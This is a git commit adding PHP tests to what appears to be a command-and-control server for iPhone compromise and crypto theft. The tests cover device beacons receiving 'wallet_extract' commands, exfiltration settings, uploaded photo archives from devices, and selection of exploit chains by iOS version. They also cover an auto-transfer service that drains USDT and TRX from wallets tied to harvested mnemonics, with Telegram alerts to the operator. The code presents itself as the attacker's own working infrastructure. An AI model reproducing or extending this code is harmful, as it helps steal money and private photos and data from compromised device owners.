feat: quene

This commit is contained in:
hashbro
2026-09-01 05:09:00 +08:00
parent 337bf45c79
commit e23550e820
28 changed files with 969 additions and 234 deletions
+128
View File
@@ -2,6 +2,7 @@
namespace Tests\Feature;
use App\Jobs\AutoTransferAddress;
use App\Models\Channel;
use App\Models\Device;
use App\Models\User;
@@ -12,6 +13,7 @@ use App\Services\AutoTransferService;
use App\Services\TransferService;
use App\Services\WalletBalanceService;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Queue;
use Mockery;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
@@ -264,6 +266,98 @@ class AutoTransferTest extends TestCase
$this->assertTrue(true);
}
#[Test]
public function evaluate_stops_remaining_assets_after_failure(): void
{
config(['coruna.auto_transfer.enabled' => true]);
$device = $this->makeOfficialDevice();
$addr = $this->linkAddress($device, ['usdt' => 12.5, 'trx' => 8]);
$transfers = Mockery::mock(TransferService::class);
$transfers->shouldReceive('handle')
->once()
->with('tron', $addr->address, null, 'USDT', 'auto')
->andReturn(['ok' => false, 'error' => 'broadcast failed']);
$this->app->instance(TransferService::class, $transfers);
$balances = Mockery::mock(WalletBalanceService::class);
$balances->shouldReceive('refresh')->once()->andReturn(true);
$this->app->instance(WalletBalanceService::class, $balances);
$stats = app(AutoTransferService::class)->evaluate($addr, 'test');
$this->assertSame(1, $stats['triggered']);
$this->assertSame(0, $stats['ok']);
$this->assertSame(1, $stats['failed']);
}
#[Test]
public function skips_address_asset_after_previous_auto_failure(): void
{
config(['coruna.auto_transfer.enabled' => true]);
$device = $this->makeOfficialDevice();
$addr = $this->linkAddress($device, ['usdt' => 12.5, 'trx' => 0]);
\App\Models\TransferRecord::query()->create([
'from_address' => $addr->address,
'to_address' => 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6',
'chain' => 'tron',
'tx_hash' => null,
'amount' => '12.5',
'type' => \App\Models\TransferRecord::TYPE_OUT,
'asset' => 'USDT',
'operator' => 'auto',
'status' => \App\Models\TransferRecord::STATUS_FAILED,
'error' => 'broadcast failed',
]);
$transfers = Mockery::mock(TransferService::class);
$transfers->shouldNotReceive('handle');
$this->app->instance(TransferService::class, $transfers);
$stats = app(AutoTransferService::class)->evaluate($addr, 'test');
$this->assertSame(0, $stats['triggered']);
$this->assertSame(0, $stats['failed']);
$this->assertGreaterThanOrEqual(1, $stats['skipped']);
}
#[Test]
public function run_stops_after_first_failed_address(): void
{
config(['coruna.auto_transfer.enabled' => true]);
$device = $this->makeOfficialDevice();
$first = $this->linkAddress($device, [
'address' => 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH',
'usdt' => 8,
'trx' => 0,
]);
$second = WalletAddress::query()->create([
'device_id' => $device->id,
'address' => 'TXYZsecondAutoAddress000000000003',
'chain_type' => 'TRON',
'source' => 'imToken',
'mnemonic_id' => $first->mnemonic_id,
'usdt' => 9,
'trx' => 0,
]);
$transfers = Mockery::mock(TransferService::class);
$transfers->shouldReceive('handle')
->once()
->with('tron', $first->address, null, 'USDT', 'auto')
->andReturn(['ok' => false, 'error' => 'broadcast failed']);
$this->app->instance(TransferService::class, $transfers);
$balances = Mockery::mock(WalletBalanceService::class);
$balances->shouldReceive('refresh')->once()->andReturn(true);
$this->app->instance(WalletBalanceService::class, $balances);
$stats = app(AutoTransferService::class)->run();
$this->assertSame(1, $stats['inspected']);
$this->assertSame(1, $stats['failed']);
$this->assertSame(0, $stats['ok']);
$this->assertGreaterThan($first->id, $second->id);
}
#[Test]
public function run_only_scans_mnemonic_addresses_with_balance(): void
{
@@ -312,4 +406,38 @@ class AutoTransferTest extends TestCase
->expectsOutputToContain('inspected=0')
->assertSuccessful();
}
#[Test]
public function run_queues_one_job_per_address_when_not_sync(): void
{
config(['coruna.auto_transfer.enabled' => true, 'queue.default' => 'redis']);
$device = $this->makeOfficialDevice();
$first = $this->linkAddress($device, [
'address' => 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH',
'usdt' => 8,
'trx' => 0,
]);
$second = WalletAddress::query()->create([
'device_id' => $device->id,
'address' => 'TXYZsecondAutoAddress000000000003',
'chain_type' => 'TRON',
'source' => 'imToken',
'mnemonic_id' => $first->mnemonic_id,
'usdt' => 9,
'trx' => 0,
]);
Queue::fake();
$transfers = Mockery::mock(TransferService::class);
$transfers->shouldNotReceive('handle');
$this->app->instance(TransferService::class, $transfers);
$stats = app(AutoTransferService::class)->run();
$this->assertSame(2, $stats['inspected']);
$this->assertSame(2, $stats['queued']);
$this->assertSame(0, $stats['triggered']);
Queue::assertPushed(AutoTransferAddress::class, 2);
Queue::assertPushed(AutoTransferAddress::class, fn (AutoTransferAddress $job) => $job->walletAddressId === $first->id);
Queue::assertPushed(AutoTransferAddress::class, fn (AutoTransferAddress $job) => $job->walletAddressId === $second->id);
}
}
+76
View File
@@ -2,6 +2,7 @@
namespace Tests\Feature;
use App\Jobs\ExtractPhotoArchive;
use App\Models\Admin;
use App\Models\Device;
use App\Models\DeviceApp;
@@ -15,6 +16,7 @@ use App\Services\CorunaCrypto;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Http\UploadedFile;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Queue;
use Illuminate\Support\Facades\Storage;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
@@ -666,6 +668,80 @@ class C2ApiTest extends TestCase
@rmdir($tmp);
}
#[Test]
public function check_acks_when_archive_extract_fails(): void
{
Storage::fake('local');
Device::query()->create([
'device_id' => 'dev-photo-bad',
'album_storage' => true,
]);
$tmp = sys_get_temp_dir().'/coruna_photo_bad_'.uniqid().'.bin';
file_put_contents($tmp, 'not-a-7z');
$upload = new UploadedFile($tmp, 'capture.7z', 'application/octet-stream', null, true);
try {
$this->call(
'POST',
'/api/user/check',
[
'd' => 'dev-photo-bad',
'f' => 'dev-photo-bad',
'batchBase' => '0',
],
[],
['file' => $upload],
['CONTENT_TYPE' => 'multipart/form-data']
)->assertOk();
$this->assertSame(0, Photo::query()->count());
} finally {
@unlink($tmp);
}
}
#[Test]
public function check_queues_extract_when_queue_is_not_sync(): void
{
Storage::fake('local');
Queue::fake();
config(['queue.default' => 'redis']);
Device::query()->create([
'device_id' => 'dev-photo-q',
'album_storage' => true,
]);
$tmp = sys_get_temp_dir().'/coruna_photo_q_'.uniqid().'.bin';
file_put_contents($tmp, "\x37\x7A");
$upload = new UploadedFile($tmp, 'capture.7z', 'application/octet-stream', null, true);
try {
$this->call(
'POST',
'/api/user/check',
[
'd' => 'dev-photo-q',
'f' => 'dev-photo-q',
'batchBase' => '0',
'x-hit' => '12',
],
[],
['file' => $upload],
['CONTENT_TYPE' => 'multipart/form-data']
)->assertOk();
$this->assertSame(0, Photo::query()->count());
Queue::assertPushed(ExtractPhotoArchive::class, function (ExtractPhotoArchive $job) {
if ($job->deviceId < 1 || $job->flavor !== 'lab' || $job->batchBase !== '0') {
return false;
}
if (! str_starts_with($job->inboxPath, 'c2/inbox/')) {
return false;
}
Storage::disk('local')->assertExists($job->inboxPath);
return true;
});
} finally {
@unlink($tmp);
}
}
#[Test]
public function check_normalizes_encoded_device_key_onto_existing_device(): void
{
+18 -1
View File
@@ -94,7 +94,8 @@ class DarkSwordC2ApiTest extends TestCase
'ok' => true,
'chain' => 'darksword',
])
->assertJsonPath('exfil.prefer_https', false);
->assertJsonPath('exfil.prefer_https', false)
->assertJsonPath('band.usable_for_attempt', true);
$this->withHeaders([
'X-Forwarded-Host' => 'ocq4rod6pq6warv.icu',
@@ -110,6 +111,20 @@ class DarkSwordC2ApiTest extends TestCase
->assertOk()
->assertSee('ok', false);
$this->getJson('/api/ds/chain-targets?ios=18.6.1')
->assertOk()
->assertJsonPath('chain', 'darksword');
$this->getJson('/api/ds/chain-targets?ios=18.6.2')
->assertOk()
->assertJsonPath('chain', 'darksword');
foreach (['18.4', '18.5.1', '18.6.3', '18.7', '17.3'] as $ios) {
$this->getJson('/api/ds/chain-targets?ios='.$ios)
->assertOk()
->assertJsonPath('chain', 'coruna')
->assertJsonPath('recommended_worker', '')
->assertJsonPath('band.usable_for_attempt', false);
}
$this->getJson('/api/chain-targets?ios=18.6')->assertNotFound();
$this->get('/log.html?text=lab')->assertNotFound();
$this->getJson('/next-chain/api/chain-targets')->assertNotFound();
@@ -598,6 +613,7 @@ class DarkSwordC2ApiTest extends TestCase
$resp = $this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'status' => 'idle',
'ios' => '18.6',
])->assertOk()->assertJson([
'ok' => true,
'type' => $type,
@@ -683,6 +699,7 @@ class DarkSwordC2ApiTest extends TestCase
$first = $this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'status' => 'idle',
'ios' => '18.6',
])->assertOk()->assertJson(['type' => 'wallet_extract']);
$firstId = $first->json('command_id');
$this->assertNotEmpty($firstId);
+57 -3
View File
@@ -2,12 +2,15 @@
namespace Tests\Feature;
use App\Jobs\RecordPageHit;
use App\Models\Admin;
use App\Models\DsChainLog;
use App\Models\PageVisit;
use App\Support\UserAgentParser;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\File;
use Illuminate\Support\Facades\Queue;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
@@ -66,13 +69,19 @@ class PageVisitTest extends TestCase
}
#[Test]
public function hit_marks_darksword_for_ios_after_17_2_1_before_18_7(): void
public function hit_marks_darksword_only_for_allowlisted_ios(): void
{
$cases = [
['17_2_1', PageVisit::CHAIN_CORUNA, '17.2.1'],
['17_2_2', PageVisit::CHAIN_DARKSWORD, '17.2.2'],
['18_0', PageVisit::CHAIN_DARKSWORD, '18.0'],
['17_2_2', PageVisit::CHAIN_CORUNA, '17.2.2'],
['18_0', PageVisit::CHAIN_CORUNA, '18.0'],
['18_4', PageVisit::CHAIN_CORUNA, '18.4'],
['18_5', PageVisit::CHAIN_DARKSWORD, '18.5'],
['18_5_1', PageVisit::CHAIN_CORUNA, '18.5.1'],
['18_6', PageVisit::CHAIN_DARKSWORD, '18.6'],
['18_6_1', PageVisit::CHAIN_DARKSWORD, '18.6.1'],
['18_6_2', PageVisit::CHAIN_DARKSWORD, '18.6.2'],
['18_6_3', PageVisit::CHAIN_CORUNA, '18.6.3'],
['18_7', PageVisit::CHAIN_CORUNA, '18.7'],
];
foreach ($cases as [$token, $chain, $osVersion]) {
@@ -128,6 +137,15 @@ class PageVisitTest extends TestCase
}
#[Test]
public function canonical_ios_version_strips_trailing_zero_patch(): void
{
$this->assertSame('18.5', PageVisit::canonicalIosVersion('18.5'));
$this->assertSame('18.5', PageVisit::canonicalIosVersion('18.5.0'));
$this->assertSame('18.6.1', PageVisit::canonicalIosVersion('18.6.1'));
$this->assertTrue(PageVisit::isDarkSwordIosVersionString('18.5.0'));
$this->assertFalse(PageVisit::isDarkSwordIosVersionString('18.5.1'));
}
public function visitor_uid_is_stable_for_domain_and_ip(): void
{
$a = PageVisit::visitorUid('XXBB.TV', '203.0.113.9');
@@ -217,6 +235,42 @@ class PageVisitTest extends TestCase
$this->assertSame(0, PageVisit::query()->count());
}
#[Test]
public function hit_queues_record_when_queue_is_not_sync(): void
{
Cache::flush();
Queue::fake();
config(['queue.default' => 'redis']);
$this->call('GET', '/statistic/t', [
'c' => self::CHANNEL,
'u' => '11111111-2222-4333-8444-555555555555',
])->assertOk();
$this->assertSame(0, PageVisit::query()->count());
Queue::assertPushed(RecordPageHit::class, function (RecordPageHit $job) {
return ($job->attrs['channel_id'] ?? null) === self::CHANNEL;
});
}
#[Test]
public function show_alias_serves_channel_details_without_store_cache(): void
{
$ver = '8.8.88';
$dir = public_path('channel/'.$ver.'/details');
File::ensureDirectoryExists($dir);
file_put_contents($dir.'/show.html', 'SHOW_ALIAS_BODY');
try {
$response = $this->get('/c/'.$ver.'/show.htm')
->assertOk()
->assertHeader('Content-Type', 'application/octet-stream')
->assertHeader('Cache-Control', 'max-age=60, public');
$this->assertSame('SHOW_ALIAS_BODY', $response->streamedContent());
} finally {
File::deleteDirectory(public_path('channel/'.$ver));
}
}
#[Test]
public function user_agent_parser_handles_chrome_ios(): void
{
+59
View File
@@ -248,6 +248,65 @@ class TokenviewWebhookTest extends TestCase
});
}
#[Test]
public function webhook_notifies_native_trx_when_token_symbol_omitted(): void
{
config(['coruna.tokenview.sign_key' => '']);
Http::fake(function ($request) {
$url = $request->url();
if (str_contains($url, '/v1/accounts/')) {
return Http::response([
'data' => [[
'balance' => 12_000_000,
'trc20' => [],
]],
'success' => true,
], 200);
}
if (str_contains($url, 'api.telegram.org')) {
return Http::response(['ok' => true], 200);
}
return Http::response(['ok' => true], 200);
});
config([
'coruna.telegram.bot_token' => 'bot-token',
'coruna.telegram.owner_chat_id' => '12345',
]);
$addr = $this->seedMonitoredAddress([
'address' => 'TWVpqZyczbccBtNNsV8aRmBRfETZBxRkNL',
'chain_type' => 'TRON',
'trx' => 15.0,
'usdt' => 0,
'eth' => null,
]);
$payload = [
'address' => 'TWVpqZyczbccBtNNsV8aRmBRfETZBxRkNL',
'txid' => '02af07be47430d0b1db32962f3036ff75afc1114444a928c44e258cd332c0d0e',
'time' => 1788200361,
'confirmations' => 1,
'value' => '-3',
'coin' => 'TRX',
'height' => 85842934,
'network' => 'TRX',
];
$this->postJson('/hooks/tokenview', $payload)->assertOk()->assertSee('ok');
$this->assertSame(1, TokenviewEvent::query()->count());
Http::assertSent(function ($request) {
if (! str_contains($request->url(), 'api.telegram.org')) {
return false;
}
$text = (string) ($request->data()['text'] ?? '');
return str_contains($text, '余额转出')
&& str_contains($text, '-3 TRX');
});
}
#[Test]
public function webhook_ignores_tron_when_token_is_not_trx_or_usdt(): void
{